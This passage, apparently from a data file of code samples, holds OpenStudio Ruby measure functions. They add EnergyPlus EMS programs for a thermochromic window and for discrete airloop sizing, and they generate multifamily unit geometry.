ems_window_construction\n index +=1\n end\n\n # check the user argument of the fixed window subsurface for reasonableness\n if fixed_window_subsurface.empty?\n handle = runner.getStringArgumentValue('fixed_window_subsurface', user_arguments)\n if handle.empty?\n runner.registerError('No fixed window subsurface was chosen.')\n else\n runner.registerError(\"The selected fixed window subsurface with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !fixed_window_subsurface.get.to_SubSurface.empty?\n fixed_window_subsurface = fixed_window_subsurface.get.to_SubSurface.get\n else\n runner.registerError('Script Error - argument not showing up as construction.')\n return false\n end\n end\n \n # Create a new EnergyManagementSystem:Sensor object representing the Surface Outside Face temp of the EMS thermochromatic window subsurface\n ems_win_Tout_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Surface Outside Face Temperature\")\n ems_win_Tout_sensor.setName(\"Win1_Tout\")\n ems_win_Tout_sensor.setKeyName(\"#{fixed_window_subsurface.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Sensor object named '#{ems_win_Tout_sensor.name}' representing the Surface Outside Face temp of the EMS thermochromatic window subsurface was added to the model.\") \n end\n \n # Create a new EMS Actuator Object representing the construction state of the EMS generated thermochromatic window \n ems_win_construct_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(fixed_window_subsurface, \"Surface\", \"Construction State\")\n ems_win_construct_actuator.setName(\"Win1_Construct\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Actuator object named '#{ems_win_construct_actuator.name}' representing construction state of the EMS generated thermochromatic window was added to the model.\") \n end\n \n # Create 19 EnergyManagementSystem:ConstructionIndexVariable objects for each unique thermochromatic construction\n ems_window_construction_array.each do |ems_window_construction|\n ems_constr_index_var = OpenStudio::Model::EnergyManagementSystemConstructionIndexVariable.new(model, ems_window_construction ) \n ems_constr_index_var.setName(\"#{ems_window_construction.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS SystemConstructionIndexVariable object named '#{ems_constr_index_var.name}' representing the the EMS construction state of the thermochromatic window was added to the model.\") \n end\n end\n \n # Create new EnergyManagementSystem:Program object for assigning different window constructions by dynamically evaluating the exterior surface temp of the fixed window subsurface \n ems_apply_thermochromatic_constructions_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_apply_thermochromatic_constructions_prgm.setName(\"#{fixed_window_subsurface.name}_Control\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"IF #{ems_win_Tout_sensor.name} <= 26.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_25\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 28.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_27\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 30.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_29\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 32.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_31\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 34.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_33\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 36.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_35\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 38.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_37\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 40.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_39\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 42.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_41\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 44.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_43\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 47.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_45\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 52.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_50\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 57.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_55\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 62.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_60\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 67.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_65\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 72.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_70\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 77.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_75\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 82.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_80\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSE\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_85\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ENDIF\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Program Object named '#{ems_apply_thermochromatic_constructions_prgm.name}' for dynamically assigning different window constructions based on the exterior surface temp was added to the model.\") \n end\n \n # Create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS programs\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"My thermochromic window emulator\")\n ems_prgm_calling_mngr.setCallingPoint(\"BeginTimestepBeforePredictor\")\n ems_prgm_calling_mngr.addProgram(ems_apply_thermochromatic_constructions_prgm)\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call EMS program for dynamically applying a thermochromatic window.\") \n end\n \n # create unique object for OutputEnergyManagementSystems and configure to allow EMS reporting\n outputEMS = model.getOutputEnergyManagementSystem\n outputEMS.setInternalVariableAvailabilityDictionaryReporting(\"internal_variable_availability_dictionary_reporting\")\n outputEMS.setEMSRuntimeLanguageDebugOutputLevel(\"ems_runtime_language_debug_output_level\")\n outputEMS.setActuatorAvailabilityDictionaryReporting(\"actuator_availability_dictionary_reporting\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS OutputEnergyManagementSystem object configured per user arguments.\") \n end\n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n air_loop_objects = runner.getOptionalWorkspaceObjectChoiceValue('air_loop_objects', user_arguments, model) # model is passed in because of argument type\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments)\n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments)\n \n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n # initialize variables\n counter = 0\n \n # check the airloop for existence in model\n apply_to_all_airloops = false\n selected_airloop = nil\n if air_loop_objects.empty?\n handle = runner.getStringArgumentValue('air_loop_objects', user_arguments)\n if handle.empty?\n runner.registerError('No air loop was chosen.')\n return false\n else\n runner.registerError(\"The selected air loop with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !air_loop_objects.get.to_AirLoopHVAC.empty?\n selected_airloop = air_loop_objects.get.to_AirLoopHVAC.get\n elsif !air_loop_objects.get.to_Building.empty?\n apply_to_all_airloops = true\n else\n runner.registerError('Script Error - argument not showing up as an air loop.')\n return false\n end\n end\n \n # define selected airloop(s), depending on user input, add selected airloops to an array\n selected_airloops = []\n show_loop = false\n if apply_to_all_airloops == true\n model.getAirLoopHVACs.each do |each_airloop|\n if each_airloop.designSupplyAirFlowRate.empty?\n show_loop = true\n end \n if show_loop == true\n selected_airloops << each_airloop\n end\n end # end loop through airloops \n else \n selected_airloops << selected_airloop\n end\n\n # Further refine selected airloops to only have DX Cooling coils (1, 2 or variable speed)\n selected_airloops.each do |selected_airloop|\n keep_loop = false\n supply_comps = selected_airloop.supplyComponents\n supply_comps.each do |supply_comp|\n if supply_comp.to_CoilCoolingDXSingleSpeed.is_initialized || supply_comp.to_CoilCoolingDXTwoSpeed.is_initialized || supply_comp.to_CoilCoolingDXVariableSpeed.is_initialized\n keep_loop = true\n end \n end # end loop through supply components \n if keep_loop == false\n if verbose_info_statements == true\n runner.registerInfo(\"Autosized Airloop named #{selected_airloop.name} did not contain a DX cooling coil and the airloop will not be modified by this measure.\")\n selected_airloops.remove(selected_airloop)\n end\n else\n if verbose_info_statements == true\n runner.registerInfo(\"keeping airloop #{selected_airloop.name}.\")\n end\n end \n end\n \n if selected_airloops.length == 0\n runner.registerAsNotApplicable(\"Model contains no 'qualified' AirLoops for this measure to modify.\") \n return true\n end\n \n # declare variables for proper scope\n ems_subroutine_prg = nil\n ems_resize_psz_based_on_clg_airflow_prgm = nil\n ems_prgm_calling_mngr = nil\n \n # Create a 'stub' object for the EnergyManagementSystem:Program object for resizing a PSZ airloop\n ems_resize_psz_based_on_clg_airflow_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_resize_psz_based_on_clg_airflow_prgm.setName(\"Resize PSZ To Match Product Availability\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_resize_psz_based_on_clg_airflow_prgm.name}' added to resize airloop equipment based on autosized High Speed Airflow of Two Speed DX Clg Coil.\") \n end\n \n # create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS programs\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"Apply Discrete Package Sizes to Air System Sizing\")\n ems_prgm_calling_mngr.setCallingPoint(\"EndOfSystemSizing\")\n ems_prgm_calling_mngr.addProgram(ems_resize_psz_based_on_clg_airflow_prgm)\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call #{ems_resize_psz_based_on_clg_airflow_prgm.name} EMS program.\") \n end\n \n # Create new EnergyManagementSystem:GlobalVariable object and configure to hold the discrete value for MainVDot\n ems_arg_discrete_main_v_dot_gv = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"argDiscreteMainVdot\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable named '#{ems_arg_discrete_main_v_dot_gv.name}' added to hold a discrete airflow value for equipment sizing added to model.\") \n end\n \n # Create new EnergyManagementSystem:GlobalVariable object and configure to hold the discrete value for MainVDot\n ems_arg_main_v_dot_gv = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"argMainVdot\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable named '#{ems_arg_main_v_dot_gv.name}' added to hold a calculated airflow value for equipment sizing added to model.\") \n end\n \n # Create new EnergyManagementSystem:Subroutine object for selecting equipment based on discrete \n # airflows available from Manufacturer\n ems_subroutine_prg = OpenStudio::Model::EnergyManagementSystemSubroutine.new(model)\n ems_subroutine_prg.setName(\"Select_Discrete_Nominal_Air_Flow\")\n ems_subroutine_prg.addLine(\"IF (#{ems_arg_main_v_dot_gv.name} <= 0.56628)\")\n ems_subroutine_prg.addLine(\"SET #{ems_arg_discrete_main_v_dot_gv.name} = 0.56628\")\n ems_subroutine_prg.addLine(\"ELSEIF (#{ems_arg_main_v_dot_gv.name} > 0.56628) && (#{ems_arg_main_v_dot_gv.name} <= 0.75504)\")\n ems_subroutine_prg.addLine(\"SET #{ems_arg_discrete_main_v_dot_gv.name} = 0.75504\")\n ems_subroutine_prg.addLine(\"ELSEIF (#{ems_arg_main_v_dot_gv.name} > 0.75504) && (#{ems_arg_main_v_dot_gv.name} <= 0.9438 )\")\n ems_subroutine_prg.addLine(\"SET #{ems_arg_discrete_main_v_dot_gv.name} = 0.9438\")\n ems_subroutine_prg.addLine(\"ELSEIF (#{ems_arg_main_v_dot_gv.name} > 0.9438) && (#{ems_arg_main_v_dot_gv.name} <= 1.13256 )\")\n ems_subroutine_prg.addLine(\"SET #{ems_arg_discrete_main_v_dot_gv.name} = 1.13256\")\n ems_subroutine_prg.addLine(\"ELSEIF (#{ems_arg_main_v_dot_gv.name} > 1.13256) && (#{ems_arg_main_v_dot_gv.name} <= 1.4157 )\")\n ems_subroutine_prg.addLine(\"SET #{ems_arg_discrete_main_v_dot_gv.name} = 1.4157\")\n ems_subroutine_prg.addLine(\"ELSEIF (#{ems_arg_main_v_dot_gv.name} > 1.4157) && (#{ems_arg_main_v_dot_gv.name} <= 1.60446 )\")\n ems_subroutine_prg.addLine(\"SET #{ems_arg_discrete_main_v_dot_gv.name} = 1.60446\")\n ems_subroutine_prg.addLine(\"ELSEIF (#{ems_arg_main_v_dot_gv.name} > 1.60446) && (#{ems_arg_main_v_dot_gv.name} <= 1.8879 )\")\n ems_subroutine_prg.addLine(\"SET #{ems_arg_discrete_main_v_dot_gv.name} = 1.8879\")\n ems_subroutine_prg.addLine(\"ELSEIF (#{ems_arg_main_v_dot_gv.name} > 1.8879)\")\n ems_subroutine_prg.addLine(\"SET dummy = @SevereWarnEP 666.0\")\n ems_subroutine_prg.addLine(\"ENDIF\")\n\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Subroutine Program object named '#{ems_subroutine_prg.name}' added to reference main EMS program.\") \n end\n\n # Loop through selected AirLoops, hard size equipment airflow \n selected_airloops.each do |airloop|\n \n # create a new EnergyManagementSystem:InternalVariable object for holding Intermediate Air System Main Supply Volume Flow Rate\n ems_internal_variable = OpenStudio::Model::EnergyManagementSystemInternalVariable.new(model, \"Intermediate Air System Main Supply Volume Flow Rate\")\n ems_internal_variable.setName(\"#{airloop.name}_CalcMainSupVdot\".gsub(\"-\",\"_\"))\n ems_internal_variable.setInternalDataIndexKeyName(\"#{airloop.name}\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Internal Variable object named '#{ems_internal_variable.name}' added to model.\") \n end\n \n # Create new EMS Actuator Object representing airloop system sizing \"Main Supply Volume Flow Rate\" output variable\n ems_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(airloop,\"Sizing:System\",\"Main Supply Volume Flow Rate\")\n ems_actuator.setName(\"#{airloop.name}MainSupVdotSet\".gsub(\"-\",\"_\"))\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Actuator Object named #{ems_actuator.name} representing the Main Supply Volume Flow Rate of the AirLoop named '#{airloop.name}. added to the model.\") \n end\n \n # Append logic to the EMS program as we iterate through the selected airloop\n ems_resize_psz_based_on_clg_airflow_prgm.addLine(\"SET #{ems_arg_main_v_dot_gv.name} = #{ems_internal_variable.name}\")\n ems_resize_psz_based_on_clg_airflow_prgm.addLine(\"RUN #{ems_subroutine_prg.name}\")\n ems_resize_psz_based_on_clg_airflow_prgm.addLine(\"SET #{ems_actuator.name} = #{ems_arg_discrete_main_v_dot_gv.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"Logic appended to the EMS Actuator program Object named '#{ems_resize_psz_based_on_clg_airflow_prgm.name}' calling the EMS subroutine program for the AirLoop object named '#{airloop.name}'.\") \n end\n \n end # end loop through selected airloop objects\n \n # create OutputEnergyManagementSystem object (a 'unique' object) and configure to allow EMS reporting\n output_EMS = model.getOutputEnergyManagementSystem\n output_EMS.setInternalVariableAvailabilityDictionaryReporting('internal_variable_availability_dictionary_reporting')\n output_EMS.setEMSRuntimeLanguageDebugOutputLevel('ems_runtime_language_debug_output_level')\n output_EMS.setActuatorAvailabilityDictionaryReporting('actuator_availability_dictionary_reporting')\n if verbose_info_statements == true\n runner.registerInfo(\"Output EMS Program Object configured for model.\") \n end\n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n model_spaces = model.getSpaces\n\n unit_ffa = UnitConversions.convert(runner.getDoubleArgumentValue('unit_ffa', user_arguments), 'ft^2', 'm^2')\n wall_height = UnitConversions.convert(runner.getDoubleArgumentValue('wall_height', user_arguments), 'ft', 'm')\n num_floors = runner.getIntegerArgumentValue('num_floors', user_arguments)\n num_units = runner.getIntegerArgumentValue('num_units', user_arguments)\n unit_aspect_ratio = runner.getDoubleArgumentValue('unit_aspect_ratio', user_arguments)\n corridor_position = runner.getStringArgumentValue('corridor_position', user_arguments)\n corridor_width = UnitConversions.convert(runner.getDoubleArgumentValue('corridor_width', user_arguments), 'ft', 'm')\n inset_width = UnitConversions.convert(runner.getDoubleArgumentValue('inset_width', user_arguments), 'ft', 'm')\n inset_depth = UnitConversions.convert(runner.getDoubleArgumentValue('inset_depth', user_arguments), 'ft', 'm')\n inset_position = runner.getStringArgumentValue('inset_position', user_arguments)\n balcony_depth = UnitConversions.convert(runner.getDoubleArgumentValue('balcony_depth', user_arguments), 'ft', 'm')\n foundation_type = runner.getStringArgumentValue('foundation_type', user_arguments)\n foundation_height = runner.getDoubleArgumentValue('foundation_height', user_arguments)\n eaves_depth = UnitConversions.convert(runner.getDoubleArgumentValue('eaves_depth', user_arguments), 'ft', 'm')\n num_br = runner.getStringArgumentValue('num_bedrooms', user_arguments).split(',').map(&:strip)\n num_ba = runner.getStringArgumentValue('num_bathrooms', user_arguments).split(',').map(&:strip)\n num_occupants = Constants.Auto\n if model.getBuilding.additionalProperties.getFeatureAsInteger('num_occupants').is_initialized\n num_occupants = \"#{model.getBuilding.additionalProperties.getFeatureAsInteger('num_occupants').get}\"\n end\n left_neighbor_offset = UnitConversions.convert(runner.getDoubleArgumentValue('neighbor_left_offset', user_arguments), 'ft', 'm')\n right_neighbor_offset = UnitConversions.convert(runner.getDoubleArgumentValue('neighbor_right_offset', user_arguments), 'ft', 'm')\n back_neighbor_offset = UnitConversions.convert(runner.getDoubleArgumentValue('neighbor_back_offset', user_arguments), 'ft', 'm')\n front_neighbor_offset = UnitConversions.convert(runner.getDoubleArgumentValue('neighbor_front_offset', user_arguments), 'ft', 'm')\n orientation = runner.getDoubleArgumentValue('orientation', user_arguments)\n\n level = runner.getStringArgumentValue('level', user_arguments)\n horz_location = runner.getStringArgumentValue('horz_location', user_arguments)\n\n if foundation_type == 'slab'\n foundation_height = 0.0\n elsif foundation_type == 'unfinished basement'\n foundation_height = 8.0\n end\n num_units_per_floor = num_units.to_f / num_floors.to_f\n num_units_per_floor_actual = num_units_per_floor\n above_ground_floors = num_floors\n\n if (num_floors > 1) && (level != 'Bottom') && (foundation_height > 0.0)\n runner.registerWarning('Unit is not on the bottom floor, setting foundation height to 0.')\n foundation_height = 0\n end\n\n if num_floors == 1\n level = 'Bottom'\n end\n\n if (num_floors <= 2) && (level == 'Middle')\n runner.registerError(\"Building is #{num_floors} stories and does not have middle units\")\n return false\n end\n\n if (num_units_per_floor >= 4) && (corridor_position != 'Single Exterior (Front)') # assume double-loaded corridor\n unit_depth = 2\n unit_width = num_units_per_floor / 2.0\n has_rear_units = true\n elsif (num_units_per_floor == 2) && (horz_location == 'None') # double-loaded corridor for 2 units/story\n unit_depth = 2\n unit_width = 1.0\n has_rear_units = true\n else\n unit_depth = 1\n unit_width = num_units_per_floor\n has_rear_units = false\n end\n\n # error checking\n if model_spaces.size > 0\n runner.registerError('Starting model is not empty.')\n return false\n end\n # Commented out to allow for 0ft crawlspace on non-ground floor units\n if (foundation_type == 'crawlspace') && ((foundation_height < 1.5) || (foundation_height > 5.0)) && (level == 'Bottom')\n runner.registerError('The crawlspace height can be set between 1.5 and 5 ft.')\n return false\n end\n if !has_rear_units && ((corridor_position == 'Double-Loaded Interior') || (corridor_position == 'Double Exterior'))\n runner.registerWarning(\"Specified incompatible corridor; setting corridor position to 'Single Exterior (Front)'.\")\n corridor_position = 'Single Exterior (Front)'\n end\n if unit_aspect_ratio < 0\n runner.registerError('Invalid aspect ratio entered.')\n return false\n end\n if (corridor_width == 0) && (corridor_position != 'None')\n corridor_position = 'None'\n end\n if corridor_position == 'None'\n corridor_width = 0\n end\n if corridor_width < 0\n runner.registerError('Invalid corridor width entered.')\n return false\n end\n if (balcony_depth > 0) && (inset_width * inset_depth == 0)\n runner.registerWarning('Specified a balcony, but there is no inset.')\n balcony_depth = 0\n end\n if (unit_width < 2) && (horz_location != 'None')\n runner.registerWarning(\"No #{horz_location} location exists, setting horz_location to 'None'\")\n horz_location = 'None'\n end\n if (unit_width >= 2) && (horz_location == 'None')\n runner.registerError('Specified incompatible horizontal location for the corridor and unit configuration.')\n return false\n end\n if (unit_width <= 2) && (horz_location == 'Middle')\n runner.registerError('Invalid horizontal location entered, no middle location exists.')\n return false\n end\n if (num_floors != 1) && (level != 'Top')\n eaves_depth = 0\n end\n\n # Convert to SI\n foundation_height = UnitConversions.convert(foundation_height, 'ft', 'm')\n space_types_hash = {}\n\n # starting spaces\n runner.registerInitialCondition(\"The building started with #{model_spaces.size} spaces.\")\n\n # calculate the dimensions of the unit\n footprint = unit_ffa + inset_width * inset_depth\n x = Math.sqrt(footprint / unit_aspect_ratio)\n y = footprint / x\n\n story_hash = { 'Bottom' => 0, 'Middle' => (num_floors - 1) / 2.0, 'Top' => num_floors - 1 }\n z = wall_height * story_hash[level]\n\n foundation_corr_polygon = nil\n foundation_front_polygon = nil\n foundation_back_polygon = nil\n\n # create the front prototype unit footprint\n nw_point = OpenStudio::Point3d.new(0, 0, z)\n ne_point = OpenStudio::Point3d.new(x, 0, z)\n sw_point = OpenStudio::Point3d.new(0, -y, z)\n se_point = OpenStudio::Point3d.new(x, -y, z)\n\n if inset_width * inset_depth > 0\n if inset_position == 'Right'\n # unit footprint\n inset_point = OpenStudio::Point3d.new(x - inset_width, inset_depth - y, 0)\n front_point = OpenStudio::Point3d.new(x - inset_width, -y, 0)\n side_point = OpenStudio::Point3d.new(x, inset_depth - y, 0)\n living_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, side_point, inset_point, front_point)\n # unit balcony\n if balcony_depth > 0\n inset_point = OpenStudio::Point3d.new(x - inset_width, inset_depth - y, wall_height)\n side_point = OpenStudio::Point3d.new(x, inset_depth - y, wall_height)\n se_point = OpenStudio::Point3d.new(x, inset_depth - y - balcony_depth, wall_height)\n front_point = OpenStudio::Point3d.new(x - inset_width, inset_depth - y - balcony_depth, wall_height)\n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([front_point, se_point, side_point, inset_point]), model)\n end\n else\n # unit footprint\n inset_point = OpenStudio::Point3d.new(inset_width, inset_depth - y, 0)\n front_point = OpenStudio::Point3d.new(inset_width, -y, 0)\n side_point = OpenStudio::Point3d.new(0, inset_depth - y, 0)\n living_polygon = Geometry.make_polygon(side_point, nw_point, ne_point, se_point, front_point, inset_point)\n # unit balcony\n if balcony_depth > 0\n inset_point = OpenStudio::Point3d.new(inset_width, inset_depth - y, wall_height)\n side_point = OpenStudio::Point3d.new(0, inset_depth - y, wall_height)\n sw_point = OpenStudio::Point3d.new(0, inset_depth - y - balcony_depth, wall_height)\n front_point = OpenStudio::Point3d.new(inset_width, inset_depth - y - balcony_depth, wall_height)\n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([front_point, sw_point, side_point, inset_point]), model)\n end\n end\n else\n living_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, se_point)\n end\n\n # foundation\n if (foundation_height > 0) && foundation_front_polygon.nil?\n foundation_front_polygon = living_polygon\n end\n\n # create living zone\n living_zone = OpenStudio::Model::ThermalZone.new(model)\n living_zone.setName('living zone')\n\n # living space\n living_spaces_front = []\n living_space = OpenStudio::Model::Space::fromFloorPrint(living_polygon, wall_height, model)\n living_space = living_space.get\n living_space.setName('living space')\n if space_types_hash.keys.include? Constants.SpaceTypeLiving\n living_space_type = space_types_hash[Constants.SpaceTypeLiving]\n else\n living_space_type = OpenStudio::Model::SpaceType.new(model)\n living_space_type.setStandardsSpaceType(Constants.SpaceTypeLiving)\n space_types_hash[Constants.SpaceTypeLiving] = living_space_type\n end\n living_space.setSpaceType(living_space_type)\n living_space.setThermalZone(living_zone)\n\n # add the balcony\n if balcony_depth > 0\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model)\n shading_surface_group.setSpace(living_space)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n end\n living_spaces_front << living_space\n unit_spaces = []\n unit_spaces << living_spaces_front\n\n # Map unit location to adiabatic surfaces\n horz_hash = { 'Left' => ['right'], 'Right' => ['left'], 'Middle' => ['left', 'right'], 'None' => [] }\n level_hash = { 'Bottom' => ['RoofCeiling'], 'Top' => ['Floor'], 'Middle' => ['RoofCeiling', 'Floor'], 'None' => [] }\n adb_facade = horz_hash[horz_location]\n adb_level = level_hash[level]\n\n # Check levels\n if num_floors == 1\n adb_level = []\n end\n if (has_rear_units == true)\n adb_facade += ['back']\n end\n\n adiabatic_surf = adb_facade + adb_level\n # Make living space surfaces adiabatic\n model.getSpaces.each do |space|\n space.surfaces.each do |surface|\n os_facade = Geometry.get_facade_for_surface(surface)\n if surface.surfaceType == 'Wall'\n if adb_facade.include? os_facade\n x_ft = UnitConversions.convert(x, 'm', 'ft')\n max_x = Geometry.getSurfaceXValues([surface]).max\n min_x = Geometry.getSurfaceXValues([surface]).min\n next if ((max_x - x_ft).abs >= 0.01) && (min_x > 0)\n\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n else\n if (adb_level.include? surface.surfaceType)\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n\n end\n end\n end\n\n if (corridor_position == 'Double-Loaded Interior')\n interior_corridor_width = corridor_width / 2 # Only half the corridor is attached to a unit\n # corridors\n if corridor_width > 0\n # create the prototype corridor\n nw_point = OpenStudio::Point3d.new(0, interior_corridor_width, z)\n ne_point = OpenStudio::Point3d.new(x, interior_corridor_width, z)\n sw_point = OpenStudio::Point3d.new(0, 0, z)\n se_point = OpenStudio::Point3d.new(x, 0, z)\n corr_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, se_point)\n\n if (foundation_height > 0) && foundation_corr_polygon.nil?\n foundation_corr_polygon = corr_polygon\n end\n\n # create corridor zone\n corridor_zone = OpenStudio::Model::ThermalZone.new(model)\n corridor_zone.setName('corridor zone')\n corridor_space = OpenStudio::Model::Space::fromFloorPrint(corr_polygon, wall_height, model)\n corridor_space = corridor_space.get\n corridor_space_name = 'corridor space'\n corridor_space.setName(corridor_space_name)\n if space_types_hash.keys.include? Constants.SpaceTypeCorridor\n corridor_space_type = space_types_hash[Constants.SpaceTypeCorridor]\n else\n corridor_space_type = OpenStudio::Model::SpaceType.new(model)\n corridor_space_type.setStandardsSpaceType(Constants.SpaceTypeCorridor)\n space_types_hash[Constants.SpaceTypeCorridor] = corridor_space_type\n end\n\n 